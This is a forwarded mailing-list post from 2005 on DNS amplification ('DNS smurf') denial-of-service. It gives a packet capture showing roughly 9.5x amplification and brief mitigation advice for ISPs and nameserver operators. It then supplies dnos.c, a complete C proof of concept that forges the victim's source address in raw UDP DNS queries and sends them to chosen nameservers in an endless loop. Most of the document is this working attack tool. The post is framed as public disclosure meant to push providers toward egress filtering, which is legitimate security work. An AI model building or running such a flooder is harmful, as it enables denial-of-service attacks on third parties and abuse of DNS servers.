Hello

This Mail [1] arrived just over the Full-Disclosure mailinglist [2], but should probably also be of interest to some people here.

[1] http://lists.grok.org.uk/pipermail/full-disclosure/2005-May/034342.html
  [2] https://lists.grok.org.uk/mailman/listinfo/full-disclosure


bye
Fabian

-------- Original Message --------
Subject: [Full-disclosure] DNS Smurf revisited
Date: Fri, 27 May 2005 10:28:37 -0400
From: Ian Gulliver <[EMAIL PROTECTED]>
To: [email protected]

DNS smurf is old news:

http://www.s0ftpj.org/docs/spj-002-000.txt
http://www.ciac.org/ciac/bulletins/j-063.shtml

However, as ISPs continue to operate networks that let spoofed packets out this issue deserves a little publicity again.

10:17:07.641061 IP (tos 0x0, ttl 64, id 46429, offset 0, flags [DF], length: 49) XXXXXXXXXXXXX.44295 > c.gtld-servers.net.domain: [udp sum ok] 18297 ANY? org. (21) 10:17:07.673800 IP (tos 0x0, ttl 43, id 0, offset 0, flags [DF], length: 468) c.gtld-servers.net.domain > XXXXXXXXXXXXX.44295: 18297- 0/13/13 (440)

% echo "2 k 468 49 / p" | dc
9.55

That's a 9.5X amplification of outgoing traffic; you can probably break 10X with a little more work on the query and nameserver choices.


SOLUTIONS
---------

ISPs: Drop outgoing packets that don't originate from within your
network. You should already be doing this, as it stops a variety of other attacks.

NS operators: Ratelimit?


Attached is a modernized proof of concept.

--
Ian Gulliver
Penguin Hosting
"Failure is not an option; it comes bundled with your Microsoft products."

/*
 * dnos.c - DNS amplified DoS proof of concept
 * Copyright (C) 2005 Ian Gulliver
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of version 2 of the GNU General Public License as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 * */

// Linux will do the IP checksum in the kernel anyway
#define SKIP_IP_CHECKSUM

#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>

struct s_packet {
	unsigned char	packet[512];
	unsigned int	len;
	struct sockaddr_in	dest;
	struct s_packet *next;
};

struct s_dns_rr_type {
	char		name[6];
	char		value[3];
};

struct s_dns_rr_type rr_types[] = {
	{ "A",     "\x00\x01" },
	{ "NS",    "\x00\x02" },
	{ "CNAME", "\x00\x05" },
	{ "SOA",   "\x00\x06" },
	{ "PTR",   "\x00\x0c" },
	{ "MX",    "\x00\x0f" },
	{ "TXT",   "\x00\x10" },
	{ "AAAA",  "\x00\x1c" },
	{ "ANY",   "\x00\xff" }
};

struct s_packet *packet_head = NULL;

static const unsigned char packet_template[] =
	// IP Header
	"\x45"             // 00: Version (4), header size in 4-byte blocks (5)
	"\x00"             // 01: TOS (0)
	"\x00\x00"         // 02-03: Total length (filled in later)
	"\x00\x00"         // 04-05: ID (random)
	"\x40\x00"         // 06-07: Flags (4 = DF), fragment offset (0)
	"\x00"             // 08: TTL (random > 64)
	"\x11"             // 09: Protocol (17 = UDP)
	"\x00\x00"         // 10-11: Header checksum (filled in later)
	"\x00\x00\x00\x00" // 12-15: Source IP (filled in later)
	"\x00\x00\x00\x00" // 16-19: Destination IP (filled in later)

	// UDP Header
	"\x00\x00"         // 20-21: Source port (random)
	"\x00\x35"         // 22-23: Destination port (53)
	"\x00\x00"         // 24-25: UDP packet length (filled in later)
	"\x00\x00"         // 26-27: UDP packet checksum (filled in later)

	// DNS packet
	"\x00\x00"         // 28-29: Identification (random)
	"\x00\x00"         // 30-31: Flags (0)
	"\x00\x01"         // 32-33: Questions (1)
	"\x00\x00"         // 34-35: Answers (0)
	"\x00\x00"         // 36-37: Authority (0)
	"\x00\x00"         // 38-39: Additional (0)
	// Space left to encode RRs
	;

void do_random(unsigned char *dest, int min) {
	*dest = min + (rand() % (255 - min));
}

void do_udp_checksum(struct s_packet *packet) {
	uint32_t sum = 0;
	uint16_t word;
	int i;

	packet->packet[26] = 0;
	packet->packet[27] = 0;

	for (i = 20; i < packet->len; i += 2) {
		word = ((packet->packet[i] << 8) & 0xff00) + (packet->packet[i+1] & 0xff);
		sum += (uint32_t) word;
	}
	for (i = 12; i < 20; i += 2) {
		word = ((packet->packet[i] << 8) & 0xff00) + (packet->packet[i+1] & 0xff);
		sum += (uint32_t) word;
	}

	sum += 17 + packet->len - 20;

	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);

	sum = ~sum;

	packet->packet[27] = sum & 0xff;
	packet->packet[26] = (sum & 0xff00) >> 8;
}

void do_ip_checksum(struct s_packet *packet) {
	uint32_t sum = 0;
	uint16_t word;
	int i;

	packet->packet[10] = 0;
	packet->packet[11] = 0;

	for (i = 0; i < 20; i += 2) {
		word = ((packet->packet[i] << 8) & 0xff00) + (packet->packet[i+1] & 0xff);
		sum += (uint32_t) word;
	}

	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);

	sum = ~sum;

	packet->packet[11] = sum & 0xff;
	packet->packet[10] = (sum & 0xff00) >> 8;
}

void do_packet_everytime(struct s_packet *packet) {
	do_random(&packet->packet[4],0);
	do_random(&packet->packet[5],0);
	do_random(&packet->packet[8],64);
	do_random(&packet->packet[20],0);
	do_random(&packet->packet[21],0);
	do_random(&packet->packet[28],0);
	do_random(&packet->packet[29],0);
	do_udp_checksum(packet);
#ifndef SKIP_IP_CHECKSUM
	do_ip_checksum(packet);
#endif
}

void encode_ip(unsigned char *dest, char *string) {
	struct hostent *dnsres;
	if ((dnsres = gethostbyname(string)) == NULL || dnsres->h_addr_list == NULL || dnsres->h_addr_list[0] == NULL) {
		fprintf(stderr,"Unable to resolve %s.\n",string);
		exit(1);
	}
	memcpy(dest,dnsres->h_addr_list[0],4);
	return;
}

void add_label(struct s_packet *packet, char *label) {
	int i = strlen(label);
	if (i > 63) {
		fprintf(stderr,"DNS labels are limited to 63 characters.\n");
		exit(1);
	}
	packet->packet[packet->len++] = (unsigned char) i;
	memcpy(&packet->packet[packet->len],label,i);
	packet->len += i;
}

void add_hostname(struct s_packet *packet, char *hostname) {
	unsigned char *temp,*next = hostname;
	while (next != NULL) {
		temp = strchr(hostname,'.');
		if (temp == NULL) {
			next = NULL;
		} else {
			temp[0] = '\0';
			next = &temp[1];
		}
		add_label(packet,hostname);
		hostname = next;
	}
	if (packet->packet[packet->len - 1] != '\0')
		add_label(packet,""); // people deal with unterminated labels
}

void add_type(struct s_packet *packet, char *type) {
	int i;
	for (i = 0; i < sizeof(rr_types) / sizeof(*rr_types); i++) {
		if (strcasecmp(rr_types[i].name,type) == 0) {
			memcpy(&packet->packet[packet->len],rr_types[i].value,2);
			packet->len += 2;
			return;
		}
	}

	fprintf(stderr,"Unknown packet type: '%s'\n",type);
	exit(1);
}

void add_class_in(struct s_packet *packet) {
	memcpy(&packet->packet[packet->len],"\x00\x01",2);
	packet->len += 2;
}

void parse_line(struct s_packet *packet, char *line, unsigned char *dest_addr) {
	unsigned char bounce_addr[4];
	char *start,*end;

	memcpy(packet->packet,packet_template,sizeof(packet_template));
	packet->len = sizeof(packet_template) - 1;
	memcpy(&packet->packet[12],dest_addr,4);
	memset(&packet->dest,'\0',sizeof(packet->dest));
	packet->dest.sin_family = AF_INET;
	packet->dest.sin_port = htons(53);

	start = line;
	end = strchr(start,':');
	if (end == NULL) {
		fprintf(stderr,"Malformed line: %s\n",line);
		exit(1);
	}
	*end = '\0';

	encode_ip(bounce_addr,start);
	memcpy(&packet->packet[16],bounce_addr,4);
	memcpy(&packet->dest.sin_addr.s_addr,bounce_addr,4);

	start = &end[1];
	end = strchr(start,':');
	if (end == NULL) {
		fprintf(stderr,"Malformed line: %s\n",line);
		exit(1);
	}
	*end = '\0';

	if (strlen(start) > 400) {
		fprintf(stderr,"Use *small* DNS packets for amplification.\n");
		exit(1);
	}

	add_hostname(packet,start);

	start = &end[1];
	end = strchr(start,'\n');
	if (end == NULL) {
		fprintf(stderr,"Malformed line: %s\n",line);
		exit(1);
	}
	*end = '\0';

	add_type(packet,start);
	add_class_in(packet);
	
	packet->packet[3] = packet->len & 0xff;
	packet->packet[2] = (packet->len & 0xff00) >> 8;

	packet->packet[25] = (packet->len - 20) & 0xff;
	packet->packet[24] = ((packet->len - 20) & 0xff00) >> 8;

	packet->packet[packet->len] = '\0'; // in case UDP header runs into odd number of octets
}

void readfile(char *filename, char *destination) {
	unsigned char dest_addr[4];
	char buffer[1024];
	FILE *input;
	struct s_packet *packet_iter = NULL;

	encode_ip(dest_addr,destination);

	if ((input = fopen(filename,"r")) == NULL) {
		perror("Unable to open input file");
		exit(1);
	}

	while (fgets(buffer,1024,input) != NULL) {
		struct s_packet *new_packet;
		if (buffer[0] == '\n' || buffer[0] == '\0' || buffer[0] == '#')
			continue;

		if ((new_packet = malloc(sizeof(struct s_packet))) == NULL) {
			perror("malloc");
			exit(1);
		}

		if (packet_iter == NULL)
			packet_iter = packet_head = new_packet;
		else
			packet_iter = packet_iter->next = new_packet;

		parse_line(packet_iter,buffer,dest_addr);
	}

	if (packet_iter == NULL) {
		fprintf(stderr,"No records found in file.\n");
		exit(1);
	}

	packet_iter->next = packet_head; // circular list now
}

int main(int argc, char *argv[]) {
	struct s_packet *packet_iter = NULL;
	int s;
	if (argc != 3) {
		fprintf(stderr,"Usage: %s <filename> <destination>\n"
				"File format is:\n"
				"<nameserver hostname or IP>:<query hostname>:<query type>\n",argv[0]);
		exit(1);
	}

	readfile(argv[1],argv[2]);

	srand(time(NULL));

	s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("socket(IPPROTO_RAW)");
		exit(1);
	}

	printf("Sending packets...\n");
	packet_iter = packet_head;
	while (1) {
		do_packet_everytime(packet_iter);
		if (sendto(s,packet_iter->packet,packet_iter->len,0,(struct sockaddr *)&packet_iter->dest,sizeof(packet_iter->dest)) != packet_iter->len) { 
			perror("sendmsg");
			exit(1);
		}
		packet_iter = packet_iter->next;
	}

	return 0;
}

Attachment: signature.asc
Description: PGP signature

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
swinog mailing list
[email protected]
http://lists.swinog.ch/cgi-bin/mailman/listinfo/swinog

Antwort per Email an